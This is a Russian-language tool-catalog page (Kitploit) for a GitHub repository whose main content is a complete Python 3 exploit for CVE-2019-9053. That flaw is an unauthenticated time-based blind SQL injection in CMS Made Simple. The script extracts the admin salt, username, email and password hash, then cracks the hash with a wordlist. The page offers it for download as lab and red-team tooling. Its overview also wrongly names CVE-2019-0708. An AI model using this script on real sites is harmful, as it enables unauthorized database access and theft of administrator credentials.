Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
-exploit-lab — Эксплойты Python cve-2019-9053 – от HackHeart | Kitploit
Инструменты/GitHubGitHub/hackheart-tech/-exploit-lab
Взлом паролейАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubhackheart-tech/-exploit-lab

-exploit-lab

Эксплойты Python cve-2019-9053 – от HackHeart

Репозиторий
1 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

-exploit-lab

Эксплойты Python cve-2019-0708 – от HackHeart 🧠 Обзор кода и портирование - Python 2 → Python 3 Этот эксплойт изначально был написан на Python 2, который больше не поддерживается современными системами. Чтобы обеспечить совместимость и сохранить перспективный инструментарий, вся кодовая база была тщательно проверена и перенесена на Python 3.

🔧 Ключевые улучшения при портировании:

  • Обновлены операторы print до синтаксиса Python 3
  • raw_input() заменён на input()
  • Адаптированы операции с сокетами для правильной обработки byte/str (добавлен .decode())
  • Удалены устаревшие методы, такие как xrange() и .iteritems()
  • Проверена совместимость скрипта с Python 3.8+ и современными дистрибутивами Linux

🛡️ Эта версия сохраняет логику эксплойта нетронутой, обеспечивая:

  • Совместимость с современными лабораториями OSCP / Red Team
  • Более чистый, безопасный и читаемый синтаксис
  • Готов к запуску в современных средах (VS Code, Kali, Parrot OS…)
root@kitploit:~
#!/usr/bin/env python3
# CVE-2019-9053 - CMS Made Simple <= 2.2.9 - Unauthenticated SQL Injection

import requests
import time
import argparse
import hashlib

parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', required=True, help="Base target URI (e.g. http://10.10.10.100/cms)")
parser.add_argument('-w', '--wordlist', help="Wordlist for cracking admin password")
parser.add_argument('-c', '--crack', action='store_true', help="Crack password with wordlist")

args = parser.parse_args()

url_vuln = args.url.rstrip('/') + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@._-$'
TIME = 1

flag = True
salt = ''
username = ''
email = ''
password_hash = ''
output = ""

def dump_field(field_name, table, column, condition):
    global flag
    result = ""
    ord_result = ""
    while flag:
        flag = False
        for char in dictionary:
            temp_result = result + char
            ord_temp_result = ord_result + format(ord(char), "x")
            print(f"[*] Trying {temp_result}")
            payload = f"a,b,1,5))+AND+(SELECT+SLEEP({TIME})+FROM+{table}+WHERE+{column}+LIKE+0x{ord_temp_result}25+AND+{condition})--+"
            start_time = time.time()
            session.get(url_vuln + "&m1_idlist=" + payload)
            if time.time() - start_time >= TIME:
                result = temp_result
                ord_result = ord_temp_result
                flag = True
                break
    return result

print("[+] Extracting salt...")
flag = True
salt = dump_field("salt", "cms_siteprefs", "sitepref_value", "sitepref_name+LIKE+0x736974656d61736b")
output += f"Salt: {salt}\n"

print("[+] Extracting username...")
flag = True
username = dump_field("username", "cms_users", "username", "user_id+LIKE+0x31")
output += f"Username: {username}\n"

print("[+] Extracting email...")
flag = True
email = dump_field("email", "cms_users", "email", "user_id+LIKE+0x31")
output += f"Email: {email}\n"

print("[+] Extracting password hash...")
flag = True
password_hash = dump_field("password", "cms_users", "password", "user_id+LIKE+0x31")
output += f"Hash: {password_hash}\n"

if args.crack and args.wordlist:
    print("[+] Cracking password...")
    with open(args.wordlist, 'r', encoding='utf-8', errors='ignore') as f:
        for line in f:
            word = line.strip()
            print(f"[*] Trying password: {word}")
            if hashlib.md5((salt + word).encode()).hexdigest() == password_hash:
                output += f"[+] Password cracked: {word}\n"
                break

print("\n=== Exploit Results ===")
print(output)
Скачать инструмент